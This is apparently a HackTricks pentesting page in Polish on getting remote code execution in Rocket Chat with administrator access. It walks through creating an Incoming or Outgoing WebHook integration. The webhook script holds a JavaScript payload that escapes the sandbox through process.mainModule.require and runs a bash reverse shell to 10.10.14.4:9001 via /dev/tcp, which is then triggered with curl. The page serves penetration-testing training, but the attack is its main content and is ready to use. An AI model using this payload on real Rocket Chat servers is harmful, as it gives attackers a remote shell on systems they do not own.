37 lines
1.5 KiB
Markdown

# Rocket Chat
{{#include ../../banners/hacktricks-training.md}}
## RCE
Jeśli jesteś administratorem w Rocket Chat, możesz uzyskać RCE.
- Przejdź do **`Integrations`** i wybierz **`New Integration`**, a następnie wybierz dowolną: **`Incoming WebHook`** lub **`Outgoing WebHook`**.
- `/admin/integrations/incoming`
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
- Zgodnie z [dokumentacją](https://docs.rocket.chat/guides/administration/admin-panel/integrations), obie używają ES2015 / ECMAScript 6 ([w zasadzie JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) do przetwarzania danych. Więc zdobądź [rev shell dla javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) jak:
```javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
- Skonfiguruj WebHook (kanał i post jako nazwa użytkownika muszą istnieć):
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
- Skonfiguruj skrypt WebHook:
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
- Zapisz zmiany
- Uzyskaj wygenerowany URL WebHook:
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
- Wywołaj go za pomocą curl i powinieneś otrzymać rev shell
{{#include ../../banners/hacktricks-training.md}}